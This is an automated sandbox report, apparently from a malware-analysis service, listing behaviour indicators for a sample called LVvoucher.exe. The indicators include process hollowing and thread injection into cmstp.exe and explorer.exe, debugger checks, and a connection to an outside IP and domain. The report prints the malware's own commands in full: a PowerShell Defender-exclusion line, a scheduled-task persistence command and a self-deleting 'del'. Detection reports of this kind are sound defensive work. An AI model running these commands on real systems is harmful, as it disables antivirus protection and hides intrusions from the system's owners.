Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482B8D0 mov eax, dword ptr fs:[00000030h] 23_2_0482B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04864015 mov eax, dword ptr fs:[00000030h] 23_2_04864015
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04864015 mov eax, dword ptr fs:[00000030h] 23_2_04864015
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047958EC mov eax, dword ptr fs:[00000030h] 23_2_047958EC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04817016 mov eax, dword ptr fs:[00000030h] 23_2_04817016
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04817016 mov eax, dword ptr fs:[00000030h] 23_2_04817016
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04817016 mov eax, dword ptr fs:[00000030h] 23_2_04817016
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CF0BF mov ecx, dword ptr fs:[00000030h] 23_2_047CF0BF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CF0BF mov eax, dword ptr fs:[00000030h] 23_2_047CF0BF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CF0BF mov eax, dword ptr fs:[00000030h] 23_2_047CF0BF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D90AF mov eax, dword ptr fs:[00000030h] 23_2_047D90AF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 mov eax, dword ptr fs:[00000030h] 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 mov eax, dword ptr fs:[00000030h] 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 mov eax, dword ptr fs:[00000030h] 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 mov eax, dword ptr fs:[00000030h] 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 mov eax, dword ptr fs:[00000030h] 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 mov eax, dword ptr fs:[00000030h] 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04861074 mov eax, dword ptr fs:[00000030h] 23_2_04861074
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04852073 mov eax, dword ptr fs:[00000030h] 23_2_04852073
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799080 mov eax, dword ptr fs:[00000030h] 23_2_04799080
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479B171 mov eax, dword ptr fs:[00000030h] 23_2_0479B171
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479B171 mov eax, dword ptr fs:[00000030h] 23_2_0479B171
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479C962 mov eax, dword ptr fs:[00000030h] 23_2_0479C962
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048169A6 mov eax, dword ptr fs:[00000030h] 23_2_048169A6
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BB944 mov eax, dword ptr fs:[00000030h] 23_2_047BB944
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BB944 mov eax, dword ptr fs:[00000030h] 23_2_047BB944
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048151BE mov eax, dword ptr fs:[00000030h] 23_2_048151BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048151BE mov eax, dword ptr fs:[00000030h] 23_2_048151BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048151BE mov eax, dword ptr fs:[00000030h] 23_2_048151BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048151BE mov eax, dword ptr fs:[00000030h] 23_2_048151BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C513A mov eax, dword ptr fs:[00000030h] 23_2_047C513A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C513A mov eax, dword ptr fs:[00000030h] 23_2_047C513A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B4120 mov eax, dword ptr fs:[00000030h] 23_2_047B4120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B4120 mov eax, dword ptr fs:[00000030h] 23_2_047B4120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B4120 mov eax, dword ptr fs:[00000030h] 23_2_047B4120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B4120 mov eax, dword ptr fs:[00000030h] 23_2_047B4120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B4120 mov ecx, dword ptr fs:[00000030h] 23_2_047B4120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048241E8 mov eax, dword ptr fs:[00000030h] 23_2_048241E8
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799100 mov eax, dword ptr fs:[00000030h] 23_2_04799100
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799100 mov eax, dword ptr fs:[00000030h] 23_2_04799100
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799100 mov eax, dword ptr fs:[00000030h] 23_2_04799100
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479B1E1 mov eax, dword ptr fs:[00000030h] 23_2_0479B1E1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479B1E1 mov eax, dword ptr fs:[00000030h] 23_2_0479B1E1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479B1E1 mov eax, dword ptr fs:[00000030h] 23_2_0479B1E1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C61A0 mov eax, dword ptr fs:[00000030h] 23_2_047C61A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C61A0 mov eax, dword ptr fs:[00000030h] 23_2_047C61A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2990 mov eax, dword ptr fs:[00000030h] 23_2_047C2990
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BC182 mov eax, dword ptr fs:[00000030h] 23_2_047BC182
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CA185 mov eax, dword ptr fs:[00000030h] 23_2_047CA185
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D927A mov eax, dword ptr fs:[00000030h] 23_2_047D927A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799240 mov eax, dword ptr fs:[00000030h] 23_2_04799240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799240 mov eax, dword ptr fs:[00000030h] 23_2_04799240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799240 mov eax, dword ptr fs:[00000030h] 23_2_04799240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04799240 mov eax, dword ptr fs:[00000030h] 23_2_04799240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D4A2C mov eax, dword ptr fs:[00000030h] 23_2_047D4A2C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D4A2C mov eax, dword ptr fs:[00000030h] 23_2_047D4A2C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B3A1C mov eax, dword ptr fs:[00000030h] 23_2_047B3A1C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04795210 mov eax, dword ptr fs:[00000030h] 23_2_04795210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04795210 mov ecx, dword ptr fs:[00000030h] 23_2_04795210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04795210 mov eax, dword ptr fs:[00000030h] 23_2_04795210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04795210 mov eax, dword ptr fs:[00000030h] 23_2_04795210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479AA16 mov eax, dword ptr fs:[00000030h] 23_2_0479AA16
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479AA16 mov eax, dword ptr fs:[00000030h] 23_2_0479AA16
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A8A0A mov eax, dword ptr fs:[00000030h] 23_2_047A8A0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485AA16 mov eax, dword ptr fs:[00000030h] 23_2_0485AA16
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485AA16 mov eax, dword ptr fs:[00000030h] 23_2_0485AA16
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2AE4 mov eax, dword ptr fs:[00000030h] 23_2_047C2AE4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2ACB mov eax, dword ptr fs:[00000030h] 23_2_047C2ACB
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AAAB0 mov eax, dword ptr fs:[00000030h] 23_2_047AAAB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AAAB0 mov eax, dword ptr fs:[00000030h] 23_2_047AAAB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CFAB0 mov eax, dword ptr fs:[00000030h] 23_2_047CFAB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485EA55 mov eax, dword ptr fs:[00000030h] 23_2_0485EA55
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04824257 mov eax, dword ptr fs:[00000030h] 23_2_04824257
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047952A5 mov eax, dword ptr fs:[00000030h] 23_2_047952A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047952A5 mov eax, dword ptr fs:[00000030h] 23_2_047952A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047952A5 mov eax, dword ptr fs:[00000030h] 23_2_047952A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047952A5 mov eax, dword ptr fs:[00000030h] 23_2_047952A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047952A5 mov eax, dword ptr fs:[00000030h] 23_2_047952A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0484B260 mov eax, dword ptr fs:[00000030h] 23_2_0484B260
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0484B260 mov eax, dword ptr fs:[00000030h] 23_2_0484B260
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04868A62 mov eax, dword ptr fs:[00000030h] 23_2_04868A62
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CD294 mov eax, dword ptr fs:[00000030h] 23_2_047CD294
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CD294 mov eax, dword ptr fs:[00000030h] 23_2_047CD294
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0484D380 mov ecx, dword ptr fs:[00000030h] 23_2_0484D380
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C3B7A mov eax, dword ptr fs:[00000030h] 23_2_047C3B7A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C3B7A mov eax, dword ptr fs:[00000030h] 23_2_047C3B7A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485138A mov eax, dword ptr fs:[00000030h] 23_2_0485138A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479DB60 mov ecx, dword ptr fs:[00000030h] 23_2_0479DB60
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479F358 mov eax, dword ptr fs:[00000030h] 23_2_0479F358
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04865BA5 mov eax, dword ptr fs:[00000030h] 23_2_04865BA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479DB40 mov eax, dword ptr fs:[00000030h] 23_2_0479DB40
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048153CA mov eax, dword ptr fs:[00000030h] 23_2_048153CA
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048153CA mov eax, dword ptr fs:[00000030h] 23_2_048153CA
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BDBE9 mov eax, dword ptr fs:[00000030h] 23_2_047BDBE9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485131B mov eax, dword ptr fs:[00000030h] 23_2_0485131B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C03E2 mov eax, dword ptr fs:[00000030h] 23_2_047C03E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C03E2 mov eax, dword ptr fs:[00000030h] 23_2_047C03E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C03E2 mov eax, dword ptr fs:[00000030h] 23_2_047C03E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C03E2 mov eax, dword ptr fs:[00000030h] 23_2_047C03E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C03E2 mov eax, dword ptr fs:[00000030h] 23_2_047C03E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C03E2 mov eax, dword ptr fs:[00000030h] 23_2_047C03E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C4BAD mov eax, dword ptr fs:[00000030h] 23_2_047C4BAD
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C4BAD mov eax, dword ptr fs:[00000030h] 23_2_047C4BAD
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C4BAD mov eax, dword ptr fs:[00000030h] 23_2_047C4BAD
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04868B58 mov eax, dword ptr fs:[00000030h] 23_2_04868B58
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2397 mov eax, dword ptr fs:[00000030h] 23_2_047C2397
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CB390 mov eax, dword ptr fs:[00000030h] 23_2_047CB390
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A1B8F mov eax, dword ptr fs:[00000030h] 23_2_047A1B8F
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A1B8F mov eax, dword ptr fs:[00000030h] 23_2_047A1B8F
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\LVvoucher.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0040ACF0 LdrLoadDll, 16_2_0040ACF0
Source: C:\Users\user\Desktop\LVvoucher.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 162.214.116.198 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.sistemaparadrogaria.com
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\LVvoucher.exe Section unmapped: C:\Windows\SysWOW64\cmstp.exe base address: 3B0000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\LVvoucher.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\LVvoucher.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\LVvoucher.exe Thread register set: target process: 3352 Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Thread register set: target process: 3352 Jump to behavior
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UcgxBJ.exe
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UcgxBJ.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UcgxBJ.exe Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UcgxBJ" /XML "C:\Users\user\AppData\Local\Temp\tmp57C7.tmp Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Users\user\Desktop\LVvoucher.exe C:\Users\user\Desktop\LVvoucher.exe Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Users\user\Desktop\LVvoucher.exe C:\Users\user\Desktop\LVvoucher.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\LVvoucher.exe" Jump to behavior
Source: explorer.exe, 00000012.00000000.396776984.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.482088727.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.379656638.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.363670877.00000000011E0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000012.00000000.396516307.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000000.480695531.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000000.362826309.0000000000B68000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman\Pr
Source: explorer.exe, 00000012.00000000.396776984.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.482088727.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.379656638.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.363670877.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.367363243.0000000005E10000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000012.00000000.396776984.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.482088727.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.379656638.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.363670877.00000000011E0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000012.00000000.396776984.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.482088727.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.379656638.00000000011E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000012.00000000.363670877.00000000011E0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000012.00000000.371942866.0000000008778000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000000.385575613.0000000008778000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000000.404762530.0000000008778000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWndh

Language, Device and Operating System Detection
barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Users\user\Desktop\LVvoucher.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
